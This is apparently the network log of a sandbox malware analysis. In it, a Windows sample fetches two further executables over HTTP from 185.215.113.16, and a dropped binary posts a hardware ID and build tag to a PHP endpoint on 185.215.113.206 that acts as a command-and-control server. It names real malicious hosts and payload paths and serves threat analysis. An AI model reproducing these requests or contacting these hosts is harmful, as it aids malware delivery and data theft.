Dec 23, 2024 08:04:21.599796057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.599832058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.600369930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.600431919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.600481987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.600964069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.601217985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.601281881 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.601633072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.601732016 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.601804972 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.602396011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.602410078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.602452040 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.602952003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.603110075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.603198051 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.603632927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.604197025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.604228020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.604325056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.604357958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.604439974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.604901075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.605031013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.605071068 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.605635881 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.605758905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.605878115 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.606205940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.606317043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.606386900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.606883049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.607057095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.607213020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.607605934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.607671022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.607732058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.608295918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.608309984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.608360052 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.608776093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.649122000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.649142027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.649243116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.649419069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.649434090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.649492025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.650118113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.650131941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.650167942 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.650727987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.650830030 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.650859118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.651171923 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.651211023 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.651577950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.651591063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.651648998 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.652225971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.652240038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.652280092 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.652848005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.652986050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.653024912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.653539896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.653553009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.653599977 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.654194117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.654207945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.654320002 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.654834032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.654848099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.654905081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.717263937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.717355013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.717427015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.717535973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.717670918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.717731953 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.718118906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.718255043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.718288898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.718767881 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.718987942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.719049931 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.719070911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.719692945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.719741106 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.719806910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.720360041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.720372915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.720403910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.720941067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.720974922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.720993042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.721597910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.721688032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.721714973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.722234964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.722327948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.722341061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.722909927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.722963095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.722989082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.777561903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.779829025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.779884100 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.779936075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.780082941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.780097961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.780167103 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.780606031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.780662060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.780709982 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.781301975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.781316042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.781399965 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.781855106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.781876087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.781928062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.782547951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.782613039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.782666922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.783150911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.783202887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.783282042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.783896923 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.783945084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.783994913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.784562111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.784575939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.784622908 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.785176039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.785243988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.785291910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.785825968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.785887957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.785928011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.786416054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.786518097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.786585093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.787060976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.787210941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.787276983 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.787765026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.787895918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.787972927 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.788398027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.788480043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.788526058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.789030075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.789133072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.789202929 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.789796114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.789913893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.789957047 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.790379047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.790501118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.790572882 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.791125059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.791138887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.791188955 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.791734934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.791778088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.791814089 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.792340994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.792447090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.792520046 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.793035984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.793060064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.793152094 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.793593884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:21.839961052 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:21.970947981 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:24.409624100 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:04:24.529108047 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 08:04:24.529293060 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:04:24.529566050 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:04:24.649010897 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 08:04:25.870512962 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 08:04:25.870582104 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:04:25.873505116 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:04:25.992901087 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 08:04:26.320097923 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 08:04:26.322895050 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:04:27.078377962 CET	49717	80	192.168.2.8	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:03:50.149636984 CET	50084	53	192.168.2.8	1.1.1.1
Dec 23, 2024 08:03:50.290868998 CET	53	50084	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:03:50.149636984 CET	192.168.2.8	1.1.1.1	0xa336	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:03:50.290868998 CET	1.1.1.1	192.168.2.8	0xa336	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:03:50.290868998 CET	1.1.1.1	192.168.2.8	0xa336	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	185.215.113.16	80	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:04:10.587218046 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:04:11.929527998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:04:11 GMT Content-Type: application/octet-stream Content-Length: 2845696 Last-Modified: Mon, 23 Dec 2024 06:14:51 GMT Connection: keep-alive ETag: "6768ffdb-2b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +I,`Ui`D @ @ @.rsrcD``@.idata f@tnrxecbv**h@anayjrgy +F+@.taggant@+"J+@
Dec 23, 2024 08:04:11.929615974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:04:11.929627895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:04:11.929775000 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:04:11.929786921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:04:11.929799080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:04:11.929966927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:04:11.930027962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:04:11.930041075 CET	1236	IN	Data Raw: 89 4f b8 25 87 58 fe 26 17 56 dd 36 17 e6 ba 97 aa e9 b4 95 3f f6 b4 25 1d 58 5a 29 17 56 dd 35 17 e6 ba 97 d6 e9 b4 95 3f f6 b4 25 1d 58 82 29 17 56 27 5d 1b e6 24 98 62 ea b4 95 3f f7 b4 25 1d 58 82 29 17 56 27 75 1b e6 24 98 dc e6 b4 95 3f f7 Data Ascii: O%X&V6?%XZ)V5?%X)V']$b?%X)V'u$?%X)V'$`?%X)V'$`?%X)V'$`?%XV'w$`?%XV'$?%XV'$?%XV'$?%K%'%%
Dec 23, 2024 08:04:11.930052996 CET	1236	IN	Data Raw: 2f 8d be 2b 17 e7 b4 7d 37 e6 b4 25 17 6c cd cc 20 e7 b4 26 17 e6 b4 25 17 66 b5 b6 37 e7 bd 50 18 e7 b4 25 17 e6 b4 a5 17 77 d5 3c 1c 19 b6 2a 17 e6 b4 25 17 66 b5 b6 37 75 be 58 18 ec b4 25 17 e6 b4 a5 17 77 d5 ad 1c 1e b6 2c 17 e6 b4 25 17 66 Data Ascii: /+}7%l &%f7P%w<*%f7uX%w,%f7Le%w-1%f7s%w<8%f77%wXHn%8%w XH:%Z8%w\H%9%w7 X
Dec 23, 2024 08:04:12.049328089 CET	1236	IN	Data Raw: 18 fb b4 ba 1b e7 b4 25 18 fd b4 4a 1f e7 b4 29 97 e6 b4 26 17 e6 b4 25 17 e6 b4 25 17 e6 b4 25 17 04 bd 25 17 ea b4 25 17 e6 b4 25 17 e6 b4 25 17 66 b5 57 1b e6 b4 25 17 ea b4 25 17 e6 b4 25 17 e6 b4 25 17 66 b5 13 20 e6 b4 25 17 eb b4 29 17 ec Data Ascii: %J)&%%%%%%%fW%%%%f %)))))))%G%JrI'UE=JadUK%fVjK'Ig:q\4x\'%j:s['jv8l_:i+i4yY/jX%j+\|`)[/gY2i9gew[Eo^.yv8vl/k[
Dec 23, 2024 08:04:16.909620047 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:04:17.351680040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:04:16 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 06:16:47 GMT Connection: keep-alive ETag: "6769004f-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O(-@M$a$$ $h@.rsrc$x@.idata $z@wwqufnsk$\|@dutjqjqnO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49717	185.215.113.206	80	8156	C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:04:24.529566050 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 08:04:25.870512962 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:04:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 08:04:25.873505116 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBFIJEHDHCBGDGDGCB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 43 31 32 46 39 30 34 35 44 46 32 36 39 31 39 34 33 35 34 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 2d 2d 0d 0a Data Ascii: ------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="hwid"ECC12F9045DF2691943543------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="build"stok------AFCBFIJEHDHCBGDGDGCB--
Dec 23, 2024 08:04:26.320097923 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:04:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

